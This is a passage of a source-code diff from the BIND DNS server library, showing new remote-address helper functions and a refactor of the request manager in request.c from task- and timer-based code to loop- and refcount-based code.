+		return (false);
+	}
+
+	return (true);
+}
+
+void
+dns_remote_reset(dns_remote_t *remote, bool clear_ok) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+
+	remote->curraddr = 0;
+
+	if (clear_ok && remote->ok != NULL) {
+		for (unsigned int i = 0; i < remote->addrcnt; i++) {
+			remote->ok[i] = false;
+		}
+	}
+}
+
+isc_sockaddr_t
+dns_remote_curraddr(dns_remote_t *remote) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+	REQUIRE(remote->addresses != NULL);
+	REQUIRE(remote->curraddr < remote->addrcnt);
+
+	return (remote->addresses[remote->curraddr]);
+}
+
+isc_sockaddr_t
+dns_remote_addr(dns_remote_t *remote, unsigned int i) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+	REQUIRE(remote->addresses != NULL);
+	REQUIRE(i < remote->addrcnt);
+
+	return (remote->addresses[i]);
+}
+
+isc_sockaddr_t
+dns_remote_sourceaddr(dns_remote_t *remote) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+	REQUIRE(remote->sources != NULL);
+	REQUIRE(remote->curraddr < remote->addrcnt);
+
+	return (remote->sources[remote->curraddr]);
+}
+
+dns_name_t *
+dns_remote_keyname(dns_remote_t *remote) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+
+	if (remote->keynames == NULL) {
+		return (NULL);
+	}
+	if (remote->curraddr >= remote->addrcnt) {
+		return (NULL);
+	}
+
+	return (remote->keynames[remote->curraddr]);
+}
+
+dns_name_t *
+dns_remote_tlsname(dns_remote_t *remote) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+
+	if (remote->tlsnames == NULL) {
+		return (NULL);
+	}
+	if (remote->curraddr >= remote->addrcnt) {
+		return (NULL);
+	}
+
+	return (remote->tlsnames[remote->curraddr]);
+}
+
+void
+dns_remote_next(dns_remote_t *remote, bool skip_good) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+
+skip_to_next:
+	remote->curraddr++;
+
+	if (remote->curraddr >= remote->addrcnt) {
+		return;
+	}
+
+	if (skip_good && remote->ok != NULL && remote->ok[remote->curraddr]) {
+		goto skip_to_next;
+	}
+}
+
+bool
+dns_remote_done(dns_remote_t *remote) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+
+	return (remote->curraddr >= remote->addrcnt);
+}
+
+void
+dns_remote_mark(dns_remote_t *remote, bool good) {
+	REQUIRE(DNS_REMOTE_VALID(remote));
+	REQUIRE(remote->curraddr < remote->addrcnt);
+
+	remote->ok[remote->curraddr] = good;
+}
diff --git a/lib/dns/request.c b/lib/dns/request.c
index d984f8e2ea..a5a7291570 100644
--- a/lib/dns/request.c
+++ b/lib/dns/request.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,22 +16,25 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
+#include <isc/async.h>
+#include <isc/loop.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
-#include <isc/task.h>
-#include <isc/timer.h>
+#include <isc/netmgr.h>
+#include <isc/result.h>
+#include <isc/thread.h>
+#include <isc/tls.h>
 #include <isc/util.h>
 
 #include <dns/acl.h>
 #include <dns/compress.h>
 #include <dns/dispatch.h>
-#include <dns/events.h>
 #include <dns/log.h>
 #include <dns/message.h>
 #include <dns/rdata.h>
 #include <dns/rdatastruct.h>
 #include <dns/request.h>
-#include <dns/result.h>
+#include <dns/transport.h>
 #include <dns/tsig.h>
 
 #define REQUESTMGR_MAGIC      ISC_MAGIC('R', 'q', 'u', 'M')
@@ -40,561 +45,317 @@
 
 typedef ISC_LIST(dns_request_t) dns_requestlist_t;
 
-#define DNS_REQUEST_NLOCKS 7
-
 struct dns_requestmgr {
 	unsigned int magic;
-	isc_mutex_t lock;
 	isc_mem_t *mctx;
+	isc_refcount_t references;
+	isc_loopmgr_t *loopmgr;
+
+	atomic_bool shuttingdown;
 
-	/* locked */
-	int32_t eref;
-	int32_t iref;
-	isc_timermgr_t *timermgr;
-	isc_socketmgr_t *socketmgr;
-	isc_taskmgr_t *taskmgr;
 	dns_dispatchmgr_t *dispatchmgr;
 	dns_dispatch_t *dispatchv4;
 	dns_dispatch_t *dispatchv6;
-	bool exiting;
-	isc_eventlist_t whenshutdown;
-	unsigned int hash;
-	isc_mutex_t locks[DNS_REQUEST_NLOCKS];
-	dns_requestlist_t requests;
+	dns_requestlist_t *requests;
 };
 
 struct dns_request {
 	unsigned int magic;
-	unsigned int hash;
+	isc_refcount_t references;
+
 	isc_mem_t *mctx;
 	int32_t flags;
+
+	isc_loop_t *loop;
+	unsigned int tid;
+
+	isc_result_t result;
+	isc_job_cb cb;
+	void *arg;
 	ISC_LINK(dns_request_t) link;
 	isc_buffer_t *query;
 	isc_buffer_t *answer;
-	dns_requestevent_t *event;
 	dns_dispatch_t *dispatch;
 	dns_dispentry_t *dispentry;
-	isc_timer_t *timer;
 	dns_requestmgr_t *requestmgr;
 	isc_buffer_t *tsig;
 	dns_tsigkey_t *tsigkey;
-	isc_event_t ctlevent;
-	bool canceling; /* ctlevent outstanding */
 	isc_sockaddr_t destaddr;
+	unsigned int timeout;
 	unsigned int udpcount;
-	isc_dscp_t dscp;
 };
 
-#define DNS_REQUEST_F_CONNECTING 0x0001
-#define DNS_REQUEST_F_SENDING	 0x0002
-#define DNS_REQUEST_F_CANCELED                                                \
-	0x0004				 /*%< ctlevent received, or otherwise \
-					  * synchronously canceled */
-#define DNS_REQUEST_F_TIMEDOUT	  0x0008 /*%< canceled due to a timeout */
-#define DNS_REQUEST_F_TCP	  0x0010 /*%< This request used TCP */
-#define DNS_REQUEST_CANCELED(r)	  (((r)->flags & DNS_REQUEST_F_CANCELED) != 0)
+#define DNS_REQUEST_F_CONNECTING (1 << 0)
+#define DNS_REQUEST_F_SENDING	 (1 << 1)
+#define DNS_REQUEST_F_COMPLETE	 (1 << 2)
+#define DNS_REQUEST_F_TCP	 (1 << 3)
+
 #define DNS_REQUEST_CONNECTING(r) (((r)->flags & DNS_REQUEST_F_CONNECTING) != 0)
 #define DNS_REQUEST_SENDING(r)	  (((r)->flags & DNS_REQUEST_F_SENDING) != 0)
-#define DNS_REQUEST_TIMEDOUT(r)	  (((r)->flags & DNS_REQUEST_F_TIMEDOUT) != 0)
+#define DNS_REQUEST_COMPLETE(r)	  (((r)->flags & DNS_REQUEST_F_COMPLETE) != 0)
 
 /***
  *** Forward
  ***/
 
-static void
-mgr_destroy(dns_requestmgr_t *requestmgr);
-static void
-mgr_shutdown(dns_requestmgr_t *requestmgr);
-static unsigned int
-mgr_gethash(dns_requestmgr_t *requestmgr);
-static void
-send_shutdown_events(dns_requestmgr_t *requestmgr);
-
 static isc_result_t
 req_render(dns_message_t *message, isc_buffer_t **buffer, unsigned int options,
 	   isc_mem_t *mctx);
 static void
-req_senddone(isc_task_t *task, isc_event_t *event);
-static void
-req_response(isc_task_t *task, isc_event_t *event);
+req_response(isc_result_t result, isc_region_t *region, void *arg);
 static void
-req_timeout(isc_task_t *task, isc_event_t *event);
-static isc_socket_t *
-req_getsocket(dns_request_t *request);
+req_senddone(isc_result_t eresult, isc_region_t *region, void *arg);
 static void
-req_connected(isc_task_t *task, isc_event_t *event);
+req_cleanup(dns_request_t *request);
 static void
 req_sendevent(dns_request_t *request, isc_result_t result);
 static void
-req_cancel(dns_request_t *request);
+req_connected(isc_result_t eresult, isc_region_t *region, void *arg);
 static void
 req_destroy(dns_request_t *request);
 static void
 req_log(int level, const char *fmt, ...) ISC_FORMAT_PRINTF(2, 3);
-static void
-do_cancel(isc_task_t *task, isc_event_t *event);
 
 /***
  *** Public
  ***/
 
 isc_result_t
-dns_requestmgr_create(isc_mem_t *mctx, isc_timermgr_t *timermgr,
-		      isc_socketmgr_t *socketmgr, isc_taskmgr_t *taskmgr,
+dns_requestmgr_create(isc_mem_t *mctx, isc_loopmgr_t *loopmgr,
 		      dns_dispatchmgr_t *dispatchmgr,
 		      dns_dispatch_t *dispatchv4, dns_dispatch_t *dispatchv6,
 		      dns_requestmgr_t **requestmgrp) {
-	dns_requestmgr_t *requestmgr;
-	int i;
-	unsigned int dispattr;
-
-	req_log(ISC_LOG_DEBUG(3), "dns_requestmgr_create");
-
 	REQUIRE(requestmgrp != NULL && *requestmgrp == NULL);
-	REQUIRE(timermgr != NULL);
-	REQUIRE(socketmgr != NULL);
-	REQUIRE(taskmgr != NULL);
 	REQUIRE(dispatchmgr != NULL);
 
-	if (dispatchv4 != NULL) {
-		dispattr = dns_dispatch_getattributes(dispatchv4);
-		REQUIRE((dispattr & DNS_DISPATCHATTR_UDP) != 0);
-	}
-	if (dispatchv6 != NULL) {
-		dispattr = dns_dispatch_getattributes(dispatchv6);
-		REQUIRE((dispattr & DNS_DISPATCHATTR_UDP) != 0);
-	}
+	req_log(ISC_LOG_DEBUG(3), "%s", __func__);
 
-	requestmgr = isc_mem_get(mctx, sizeof(*requestmgr));
+	dns_requestmgr_t *requestmgr = isc_mem_get(mctx, sizeof(*requestmgr));
+	*requestmgr = (dns_requestmgr_t){
+		.magic = REQUESTMGR_MAGIC,
+		.loopmgr = loopmgr,
+	};
+	isc_mem_attach(mctx, &requestmgr->mctx);
 
-	isc_mutex_init(&requestmgr->lock);
+	uint32_t nloops = isc_loopmgr_nloops(requestmgr->loopmgr);
+	requestmgr->requests = isc_mem_cget(requestmgr->mctx, nloops,
+					    sizeof(requestmgr->requests[0]));
+	for (size_t i = 0; i < nloops; i++) {
+		ISC_LIST_INIT(requestmgr->requests[i]);
 
-	for (i = 0; i < DNS_REQUEST_NLOCKS; i++) {
-		isc_mutex_init(&requestmgr->locks[i]);
+		/* unreferenced in requests_shutdown() */
+		isc_loop_ref(isc_loop_get(requestmgr->loopmgr, i));
 	}
-	requestmgr->timermgr = timermgr;
-	requestmgr->socketmgr = socketmgr;
-	requestmgr->taskmgr = taskmgr;
-	requestmgr->dispatchmgr = dispatchmgr;
-	requestmgr->dispatchv4 = NULL;
+
+	dns_dispatchmgr_attach(dispatchmgr, &requestmgr->dispatchmgr);
+
 	if (dispatchv4 != NULL) {
 		dns_dispatch_attach(dispatchv4, &requestmgr->dispatchv4);
 	}
-	requestmgr->dispatchv6 = NULL;
 	if (dispatchv6 != NULL) {
 		dns_dispatch_attach(dispatchv6, &requestmgr->dispatchv6);
 	}
-	requestmgr->mctx = NULL;
-	isc_mem_attach(mctx, &requestmgr->mctx);
-	requestmgr->eref = 1; /* implicit attach */
-	requestmgr->iref = 0;
-	ISC_LIST_INIT(requestmgr->whenshutdown);
-	ISC_LIST_INIT(requestmgr->requests);
-	requestmgr->exiting = false;
-	requestmgr->hash = 0;
-	requestmgr->magic = REQUESTMGR_MAGIC;
 
-	req_log(ISC_LOG_DEBUG(3), "dns_requestmgr_create: %p", requestmgr);
+	isc_refcount_init(&requestmgr->references, 1);
+
+	req_log(ISC_LOG_DEBUG(3), "%s: %p", __func__, requestmgr);
 
 	*requestmgrp = requestmgr;
 	return (ISC_R_SUCCESS);
 }
 
-void
-dns_requestmgr_whenshutdown(dns_requestmgr_t *requestmgr, isc_task_t *task,
-			    isc_event_t **eventp) {
-	isc_task_t *tclone;
-	isc_event_t *event;
-
-	req_log(ISC_LOG_DEBUG(3), "dns_requestmgr_whenshutdown");
-
-	REQUIRE(VALID_REQUESTMGR(requestmgr));
-	REQUIRE(eventp != NULL);
-
-	event = *eventp;
-	*eventp = NULL;
-
-	LOCK(&requestmgr->lock);
-
-	if (requestmgr->exiting) {
-		/*
-		 * We're already shutdown.  Send the event.
-		 */
-		event->ev_sender = requestmgr;
-		isc_task_send(task, &event);
-	} else {
-		tclone = NULL;
-		isc_task_attach(task, &tclone);
-		event->ev_sender = tclone;
-		ISC_LIST_APPEND(requestmgr->whenshutdown, event, ev_link);
+static void
+requests_shutdown(void *arg) {
+	dns_requestmgr_t *requestmgr = arg;
+	dns_request_t *request = NULL, *next = NULL;
+	uint32_t tid = isc_tid();
+
+	ISC_LIST_FOREACH_SAFE (requestmgr->requests[tid], request, link, next) {
+		req_log(ISC_LOG_DEBUG(3), "%s(%" PRIu32 ": request %p",
+			__func__, tid, request);
+		if (DNS_REQUEST_COMPLETE(request)) {
+			/* The callback has been already scheduled */
+			continue;
+		}
+		req_sendevent(request, ISC_R_SHUTTINGDOWN);
 	}
-	UNLOCK(&requestmgr->lock);
+
+	isc_loop_unref(isc_loop_get(requestmgr->loopmgr, tid));
+	dns_requestmgr_detach(&requestmgr);
 }
 
 void
 dns_requestmgr_shutdown(dns_requestmgr_t *requestmgr) {
 	REQUIRE(VALID_REQUESTMGR(requestmgr));
 
-	req_log(ISC_LOG_DEBUG(3), "dns_requestmgr_shutdown: %p", requestmgr);
-
-	LOCK(&requestmgr->lock);
-	mgr_shutdown(requestmgr);
-	UNLOCK(&requestmgr->lock);
-}
-
-static void
-mgr_shutdown(dns_requestmgr_t *requestmgr) {
-	dns_request_t *request;
+	req_log(ISC_LOG_DEBUG(3), "%s: %p", __func__, requestmgr);
 
-	/*
-	 * Caller holds lock.
-	 */
-	if (!requestmgr->exiting) {
-		requestmgr->exiting = true;
-		for (request = ISC_LIST_HEAD(requestmgr->requests);
-		     request != NULL; request = ISC_LIST_NEXT(request, link))
-		{
-			dns_request_cancel(request);
-		}
-		if (requestmgr->iref == 0) {
-			INSIST(ISC_LIST_EMPTY(requestmgr->requests));
-			send_shutdown_events(requestmgr);
-		}
-	}
-}
+	rcu_read_lock();
+	INSIST(atomic_compare_exchange_strong(&requestmgr->shuttingdown,
+					      &(bool){ false }, true));
+	rcu_read_unlock();
 
-static void
-requestmgr_attach(dns_requestmgr_t *source, dns_requestmgr_t **targetp) {
 	/*
-	 * Locked by caller.
+	 * Wait until all dns_request_create{raw}() are finished, so
+	 * there will be no new requests added to the lists.
 	 */
+	synchronize_rcu();
 
-	REQUIRE(VALID_REQUESTMGR(source));
-	REQUIRE(targetp != NULL && *targetp == NULL);
-
-	REQUIRE(!source->exiting);
-
-	source->iref++;
-	*targetp = source;
-
-	req_log(ISC_LOG_DEBUG(3), "requestmgr_attach: %p: eref %d iref %d",
-		source, source->eref, source->iref);
-}
+	uint32_t tid = isc_tid();
+	uint32_t nloops = isc_loopmgr_nloops(requestmgr->loopmgr);
+	for (size_t i = 0; i < nloops; i++) {
+		dns_requestmgr_ref(requestmgr);
 
-static void
-requestmgr_detach(dns_requestmgr_t **requestmgrp) {
-	dns_requestmgr_t *requestmgr;
-	bool need_destroy = false;
-
-	REQUIRE(requestmgrp != NULL);
-	requestmgr = *requestmgrp;
-	*requestmgrp = NULL;
-	REQUIRE(VALID_REQUESTMGR(requestmgr));
-
-	LOCK(&requestmgr->lock);
-	INSIST(requestmgr->iref > 0);
-	requestmgr->iref--;
-
-	req_log(ISC_LOG_DEBUG(3), "requestmgr_detach: %p: eref %d iref %d",
-		requestmgr, requestmgr->eref, requestmgr->iref);
-
-	if (requestmgr->iref == 0 && requestmgr->exiting) {
-		INSIST(ISC_LIST_HEAD(requestmgr->requests) == NULL);
-		send_shutdown_events(requestmgr);
-		if (requestmgr->eref == 0) {
-			need_destroy = true;
+		if (i == tid) {
+			/* Run the current loop synchronously */
+			requests_shutdown(requestmgr);
+			continue;
 		}
-	}
-	UNLOCK(&requestmgr->lock);
-
-	if (need_destroy) {
-		mgr_destroy(requestmgr);
-	}
-}
-
-void
-dns_requestmgr_attach(dns_requestmgr_t *source, dns_requestmgr_t **targetp) {
-	REQUIRE(VALID_REQUESTMGR(source));
-	REQUIRE(targetp != NULL && *targetp == NULL);
-	REQUIRE(!source->exiting);
-
-	LOCK(&source->lock);
-	source->eref++;
-	*targetp = source;
-	UNLOCK(&source->lock);
-
-	req_log(ISC_LOG_DEBUG(3), "dns_requestmgr_attach: %p: eref %d iref %d",
-		source, source->eref, source->iref);
-}
-
-void
-dns_requestmgr_detach(dns_requestmgr_t **requestmgrp) {
-	dns_requestmgr_t *requestmgr;
-	bool need_destroy = false;
-
-	REQUIRE(requestmgrp != NULL);
-	requestmgr = *requestmgrp;
-	*requestmgrp = NULL;
-	REQUIRE(VALID_REQUESTMGR(requestmgr));
-
-	LOCK(&requestmgr->lock);
-	INSIST(requestmgr->eref > 0);
-	requestmgr->eref--;
 
-	req_log(ISC_LOG_DEBUG(3), "dns_requestmgr_detach: %p: eref %d iref %d",
-		requestmgr, requestmgr->eref, requestmgr->iref);
-
-	if (requestmgr->eref == 0 && requestmgr->iref == 0) {
-		INSIST(requestmgr->exiting &&
-		       ISC_LIST_HEAD(requestmgr->requests) == NULL);
-		need_destroy = true;
-	}
-	UNLOCK(&requestmgr->lock);
-
-	if (need_destroy) {
-		mgr_destroy(requestmgr);
+		isc_loop_t *loop = isc_loop_get(requestmgr->loopmgr, i);
+		isc_async_run(loop, requests_shutdown, requestmgr);
 	}
 }
 
 static void
-send_shutdown_events(dns_requestmgr_t *requestmgr) {
-	isc_event_t *event, *next_event;
-	isc_task_t *etask;
+requestmgr_destroy(dns_requestmgr_t *requestmgr) {
+	req_log(ISC_LOG_DEBUG(3), "%s", __func__);
 
-	req_log(ISC_LOG_DEBUG(3), "send_shutdown_events: %p", requestmgr);
+	INSIST(atomic_load(&requestmgr->shuttingdown));
 
-	/*
-	 * Caller must be holding the manager lock.
-	 */
-	for (event = ISC_LIST_HEAD(requestmgr->whenshutdown); event != NULL;
-	     event = next_event)
-	{
-		next_event = ISC_LIST_NEXT(event, ev_link);
-		ISC_LIST_UNLINK(requestmgr->whenshutdown, event, ev_link);
-		etask = event->ev_sender;
-		event->ev_sender = requestmgr;
-		isc_task_sendanddetach(&etask, &event);
-	}
-}
-
-static void
-mgr_destroy(dns_requestmgr_t *requestmgr) {
-	int i;
+	isc_refcount_destroy(&requestmgr->references);
 
-	req_log(ISC_LOG_DEBUG(3), "mgr_destroy");
-
-	REQUIRE(requestmgr->eref == 0);
-	REQUIRE(requestmgr->iref == 0);
-
-	isc_mutex_destroy(&requestmgr->lock);
-	for (i = 0; i < DNS_REQUEST_NLOCKS; i++) {
-		isc_mutex_destroy(&requestmgr->locks[i]);
+	size_t nloops = isc_loopmgr_nloops(requestmgr->loopmgr);
+	for (size_t i = 0; i < nloops; i++) {
+		INSIST(ISC_LIST_EMPTY(requestmgr->requests[i]));
 	}
+	isc_mem_cput(requestmgr->mctx, requestmgr->requests, nloops,
+		     sizeof(requestmgr->requests[0]));
+
 	if (requestmgr->dispatchv4 != NULL) {
 		dns_dispatch_detach(&requestmgr->dispatchv4);
 	}
 	if (requestmgr->dispatchv6 != NULL) {
 		dns_dispatch_detach(&requestmgr->dispatchv6);
 	}
+	if (requestmgr->dispatchmgr != NULL) {
+		dns_dispatchmgr_detach(&requestmgr->dispatchmgr);
+	}
 	requestmgr->magic = 0;
 	isc_mem_putanddetach(&requestmgr->mctx, requestmgr,
 			     sizeof(*requestmgr));
 }
 
-static unsigned int
-mgr_gethash(dns_requestmgr_t *requestmgr) {
-	req_log(ISC_LOG_DEBUG(3), "mgr_gethash");
-	/*
-	 * Locked by caller.
-	 */
-	requestmgr->hash++;
-	return (requestmgr->hash % DNS_REQUEST_NLOCKS);
-}
+#if DNS_REQUEST_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_requestmgr, requestmgr_destroy);
+#else
+ISC_REFCOUNT_IMPL(dns_requestmgr, requestmgr_destroy);
+#endif
 
-static inline isc_result_t
-req_send(dns_request_t *request, isc_task_t *task,
-	 const isc_sockaddr_t *address) {
+static void
+req_send(dns_request_t *request) {
 	isc_region_t r;
-	isc_socket_t *sock;
-	isc_socketevent_t *sendevent;
-	isc_result_t result;
 
-	req_log(ISC_LOG_DEBUG(3), "req_send: request %p", request);
+	req_log(ISC_LOG_DEBUG(3), "%s: request %p", __func__, request);
 
 	REQUIRE(VALID_REQUEST(request));
-	sock = req_getsocket(request);
+
 	isc_buffer_usedregion(request->query, &r);
-	/*
-	 * We could connect the socket when we are using an exclusive dispatch
-	 * as we do in resolver.c, but we prefer implementation simplicity
-	 * at this moment.
-	 */
-	sendevent = isc_socket_socketevent(request->mctx, sock,
-					   ISC_SOCKEVENT_SENDDONE, req_senddone,
-					   request);
-	if (sendevent == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-	if (request->dscp == -1) {
-		sendevent->attributes &= ~ISC_SOCKEVENTATTR_DSCP;
-		sendevent->dscp = 0;
-	} else {
-		sendevent->attributes |= ISC_SOCKEVENTATTR_DSCP;
-		sendevent->dscp = request->dscp;
-	}
 
 	request->flags |= DNS_REQUEST_F_SENDING;
-	result = isc_socket_sendto2(sock, &r, task, address, NULL, sendevent,
-				    0);
-	INSIST(result == ISC_R_SUCCESS);
-	return (result);
-}
-
-static isc_result_t
-new_request(isc_mem_t *mctx, dns_request_t **requestp) {
-	dns_request_t *request;
 
-	request = isc_mem_get(mctx, sizeof(*request));
-
-	/*
-	 * Zero structure.
-	 */
-	request->magic = 0;
-	request->mctx = NULL;
-	request->flags = 0;
-	ISC_LINK_INIT(request, link);
-	request->query = NULL;
-	request->answer = NULL;
-	request->event = NULL;
-	request->dispatch = NULL;
-	request->dispentry = NULL;
-	request->timer = NULL;
-	request->requestmgr = NULL;
-	request->tsig = NULL;
-	request->tsigkey = NULL;
-	request->dscp = -1;
-	ISC_EVENT_INIT(&request->ctlevent, sizeof(request->ctlevent), 0, NULL,
-		       DNS_EVENT_REQUESTCONTROL, do_cancel, request, NULL, NULL,
-		       NULL);
-	request->canceling = false;
-	request->udpcount = 0;
+	/* detached in req_senddone() */
+	dns_request_ref(request);
+	dns_dispatch_send(request->dispentry, &r);
+}
 
+static dns_request_t *
+new_request(isc_mem_t *mctx, isc_loop_t *loop, isc_job_cb cb, void *arg,
+	    bool tcp, unsigned int timeout, unsigned int udptimeout,
+	    unsigned int udpretries) {
+	dns_request_t *request = isc_mem_get(mctx, sizeof(*request));
+	*request = (dns_request_t){
+		.magic = REQUEST_MAGIC,
+		.loop = loop,
+		.tid = isc_tid(),
+		.cb = cb,
+		.arg = arg,
+		.link = ISC_LINK_INITIALIZER,
+		.result = ISC_R_FAILURE,
+		.udpcount = udpretries + 1,
+	};
+
+	isc_refcount_init(&request->references, 1);
 	isc_mem_attach(mctx, &request->mctx);
 
-	request->magic = REQUEST_MAGIC;
-	*requestp = request;
-	return (ISC_R_SUCCESS);
+	if (tcp) {
+		request->timeout = timeout * 1000;
+	} else {
+		if (udptimeout == 0) {
+			udptimeout = timeout / request->udpcount;
+		}
+		if (udptimeout == 0) {
+			udptimeout = 1;
+		}
+		request->timeout = udptimeout * 1000;
+	}
+
+	return (request);
 }
 
 static bool
 isblackholed(dns_dispatchmgr_t *dispatchmgr, const isc_sockaddr_t *destaddr) {
 	dns_acl_t *blackhole;
 	isc_netaddr_t netaddr;
-	int match;
-	bool drop = false;
 	char netaddrstr[ISC_NETADDR_FORMATSIZE];
+	int match;
+	isc_result_t result;
 
 	blackhole = dns_dispatchmgr_getblackhole(dispatchmgr);
-	if (blackhole != NULL) {
-		isc_netaddr_fromsockaddr(&netaddr, destaddr);
-		if (dns_acl_match(&netaddr, NULL, blackhole, NULL, &match,
-				  NULL) == ISC_R_SUCCESS &&
-		    match > 0)
-		{
-			drop = true;
-		}
+	if (blackhole == NULL) {
+		return (false);
 	}
-	if (drop) {
-		isc_netaddr_format(&netaddr, netaddrstr, sizeof(netaddrstr));
-		req_log(ISC_LOG_DEBUG(10), "blackholed address %s", netaddrstr);
+
+	isc_netaddr_fromsockaddr(&netaddr, destaddr);
+	result = dns_acl_match(&netaddr, NULL, blackhole, NULL, &match, NULL);
+	if (result != ISC_R_SUCCESS || match <= 0) {
+		return (false);
 	}
-	return (drop);
+
+	isc_netaddr_format(&netaddr, netaddrstr, sizeof(netaddrstr));
+	req_log(ISC_LOG_DEBUG(10), "blackholed address %s", netaddrstr);
+
+	return (true);
 }
 
 static isc_result_t
-create_tcp_dispatch(bool newtcp, bool share, dns_requestmgr_t *requestmgr,
-		    const isc_sockaddr_t *srcaddr,
-		    const isc_sockaddr_t *destaddr, isc_dscp_t dscp,
-		    bool *connected, dns_dispatch_t **dispatchp) {
+tcp_dispatch(bool newtcp, dns_requestmgr_t *requestmgr,
+	     const isc_sockaddr_t *srcaddr, const isc_sockaddr_t *destaddr,
+	     dns_dispatch_t **dispatchp) {
 	isc_result_t result;
-	isc_socket_t *sock = NULL;
-	isc_sockaddr_t src;
-	unsigned int attrs;
-	isc_sockaddr_t bind_any;
 
-	if (!newtcp && share) {
+	if (!newtcp) {
 		result = dns_dispatch_gettcp(requestmgr->dispatchmgr, destaddr,
-					     srcaddr, connected, dispatchp);
+					     srcaddr, dispatchp);
 		if (result == ISC_R_SUCCESS) {
 			char peer[ISC_SOCKADDR_FORMATSIZE];
 
 			isc_sockaddr_format(destaddr, peer, sizeof(peer));
 			req_log(ISC_LOG_DEBUG(1),
-				"attached to %s TCP "
-				"connection to %s",
-				*connected ? "existing" : "pending", peer);
+				"attached to TCP connection to %s", peer);
 			return (result);
 		}
-	} else if (!newtcp) {
-		result = dns_dispatch_gettcp(requestmgr->dispatchmgr, destaddr,
-					     srcaddr, NULL, dispatchp);
-		if (result == ISC_R_SUCCESS) {
-			char peer[ISC_SOCKADDR_FORMATSIZE];
-
-			*connected = true;
-			isc_sockaddr_format(destaddr, peer, sizeof(peer));
-			req_log(ISC_LOG_DEBUG(1),
-				"attached to existing TCP "
-				"connection to %s",
-				peer);
-			return (result);
-		}
-	}
-
-	result = isc_socket_create(requestmgr->socketmgr,
-				   isc_sockaddr_pf(destaddr),
-				   isc_sockettype_tcp, &sock);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-#ifndef BROKEN_TCP_BIND_BEFORE_CONNECT
-	if (srcaddr == NULL) {
-		isc_sockaddr_anyofpf(&bind_any, isc_sockaddr_pf(destaddr));
-		result = isc_socket_bind(sock, &bind_any, 0);
-	} else {
-		src = *srcaddr;
-		isc_sockaddr_setport(&src, 0);
-		result = isc_socket_bind(sock, &src, 0);
-	}
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
 	}
-#endif /* ifndef BROKEN_TCP_BIND_BEFORE_CONNECT */
 
-	attrs = 0;
-	attrs |= DNS_DISPATCHATTR_TCP;
-	if (isc_sockaddr_pf(destaddr) == AF_INET) {
-		attrs |= DNS_DISPATCHATTR_IPV4;
-	} else {
-		attrs |= DNS_DISPATCHATTR_IPV6;
-	}
-	attrs |= DNS_DISPATCHATTR_MAKEQUERY;
-
-	isc_socket_dscp(sock, dscp);
-	result = dns_dispatch_createtcp(
-		requestmgr->dispatchmgr, sock, requestmgr->taskmgr, srcaddr,
-		// OQS updated from 4096 to 8192
-		destaddr, 8192, 32768, 32768, 16411, 16433, attrs, dispatchp);
-cleanup:
-	isc_socket_detach(&sock);
+	result = dns_dispatch_createtcp(requestmgr->dispatchmgr, srcaddr,
+					destaddr, dispatchp);
 	return (result);
 }
 
 static isc_result_t
-find_udp_dispatch(dns_requestmgr_t *requestmgr, const isc_sockaddr_t *srcaddr,
-		  const isc_sockaddr_t *destaddr, dns_dispatch_t **dispatchp) {
+udp_dispatch(dns_requestmgr_t *requestmgr, const isc_sockaddr_t *srcaddr,
+	     const isc_sockaddr_t *destaddr, dns_dispatch_t **dispatchp) {
 	dns_dispatch_t *disp = NULL;
-	unsigned int attrs, attrmask;
 
 	if (srcaddr == NULL) {
 		switch (isc_sockaddr_pf(destaddr)) {
@@ -615,64 +376,22 @@ find_udp_dispatch(dns_requestmgr_t *requestmgr, const isc_sockaddr_t *srcaddr,
 		dns_dispatch_attach(disp, dispatchp);
 		return (ISC_R_SUCCESS);
 	}
-	attrs = 0;
-	attrs |= DNS_DISPATCHATTR_UDP;
-	switch (isc_sockaddr_pf(srcaddr)) {
-	case PF_INET:
-		attrs |= DNS_DISPATCHATTR_IPV4;
-		break;
-
-	case PF_INET6:
-		attrs |= DNS_DISPATCHATTR_IPV6;
-		break;
 
-	default:
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-	attrmask = 0;
-	attrmask |= DNS_DISPATCHATTR_UDP;
-	attrmask |= DNS_DISPATCHATTR_TCP;
-	attrmask |= DNS_DISPATCHATTR_IPV4;
-	attrmask |= DNS_DISPATCHATTR_IPV6;
-	return (dns_dispatch_getudp(requestmgr->dispatchmgr,
-				    requestmgr->socketmgr, requestmgr->taskmgr,
-				    // OQS updated from 4096 to 8192
-				    srcaddr, 8192, 32768, 32768, 16411, 16433,
-				    attrs, attrmask, dispatchp));
+	return (dns_dispatch_createudp(requestmgr->dispatchmgr, srcaddr,
+				       dispatchp));
 }
 
 static isc_result_t
-get_dispatch(bool tcp, bool newtcp, bool share, dns_requestmgr_t *requestmgr,
+get_dispatch(bool tcp, bool newtcp, dns_requestmgr_t *requestmgr,
 	     const isc_sockaddr_t *srcaddr, const isc_sockaddr_t *destaddr,
-	     isc_dscp_t dscp, bool *connected, dns_dispatch_t **dispatchp) {
+	     dns_dispatch_t **dispatchp) {
 	isc_result_t result;
 
 	if (tcp) {
-		result = create_tcp_dispatch(newtcp, share, requestmgr, srcaddr,
-					     destaddr, dscp, connected,
-					     dispatchp);
+		result = tcp_dispatch(newtcp, requestmgr, srcaddr, destaddr,
+				      dispatchp);
 	} else {
-		result = find_udp_dispatch(requestmgr, srcaddr, destaddr,
-					   dispatchp);
-	}
-	return (result);
-}
-
-static isc_result_t
-set_timer(isc_timer_t *timer, unsigned int timeout, unsigned int udpresend) {
-	isc_time_t expires;
-	isc_interval_t interval;
-	isc_result_t result;
